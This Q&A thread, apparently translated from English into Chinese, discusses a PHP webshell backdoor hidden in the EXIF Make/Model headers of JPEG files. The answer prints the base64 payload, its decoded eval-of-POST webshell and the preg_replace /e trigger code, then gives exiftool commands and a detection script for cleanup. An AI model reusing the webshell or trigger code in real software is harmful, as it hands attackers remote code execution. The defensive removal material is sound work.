我在许多媒体目录中有许多带有某些字符串的文件,我想删除这些字符串。
该字符串包含在 JPEG 文件中,如下所示:
eval(base64_decode('aWYgKGlzc2V0KCRfUE9TVFsienoxIl0pKSB7ZXZhbChzdHJpcHNsYXNoZXMoJF9QT1NUWyJ6ejEiXSkpO30='));
解码后的base64编码部分为:
if (isset($_POST["zz1"])) {eval(stripslashes($_POST["zz1"]));}
怎么做?
答案1
解释
您所描述的是已知 PHP 后门的一部分。主要 PHP 代码通过 base64 编码进行隐藏,因此不容易被发现。您展示的代码通常隐藏在Exif标题Model
和另一个重要部分(聚合酶链反应 /.*/e
) 通常在标题中Make
。
Exif 中的代码由后门的另一部分执行 - 调用preg_replace($exif['Make'],$exif['Model'],'');
图像中的 Exif 数据。有关详细信息,请参阅示例恶意软件隐藏在 JPG EXIF 标头中或者在图像文件中隐藏 Webshell 后门代码。
解决方案
您可以通过删除相关的 Exif 标头来修复受感染的图像。首先检查有问题的字符串是否在标头中Make
,然后Model
:
exiftool file.jpg
然后你可以删除标题:
find /directory/with/images -iname '*.jpg' -exec exiftools -Make= -Model= {} +
此代码将从所有文件中删除两个标头,.jpg
无论标头的内容如何。如果您只想删除受感染的标头,代码将更加复杂。执行此操作的脚本位于本答案的末尾。
检查结果无误后,您可以删除由以下命令创建的备份exiftool
:
find /directory/with/images -iname '*.jpg_original' -delete
请记住,后门的其他部分也应该被删除。它位于服务器上的 PHP 代码中,通常如下所示:
$exif = exif_read_data('/path/to/an/image.jpg');
preg_replace($exif['Make'],$exif['Model'],'');
更精确的删除脚本
以下脚本检测哪些 Exif 标头中存在恶意软件代码。将代码存储到文件中,例如,rm-jpg-backdoor
然后启用执行:chmod a+x rm-jpg-backdoor
。调用脚本时,您可以将要清理的文件目录作为参数传递。示例:./rm-jpg-backdoor /directory/with/images
#!/bin/sh
suff=jpg # problematic file suffix
# extended regex signatures of malware code
badregex1='eval\( *base64_decode\( *'\'
badregex2='/.+/e'
script="$0" # this script name for recursion
for f in "$@" ; do
if test -d "$f" ; then
echo "=== recursing directory $f"
find "$f" -type f -iname "*.$suff" -exec "$script" {} +
elif test -f "$f" ; then
echo "-- cleaning file $f"
hdr1="$( exiftool "$f" | grep -E ".+ +: +$badregex1" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
test -n "$hdr1" && { echo "removing $hdr1" ; exiftool "-$hdr1=" "$f" ; }
hdr2="$( exiftool "$f" | grep -E ".+ +: +$badregex2" | sed -r 's/^([a-zA-Z /]*[a-zA-Z]) +: +.*$/\1/' )"
test -n "$hdr2" && { echo "removing $hdr2" ; exiftool "-$hdr2=" "$f" ; }
fi
done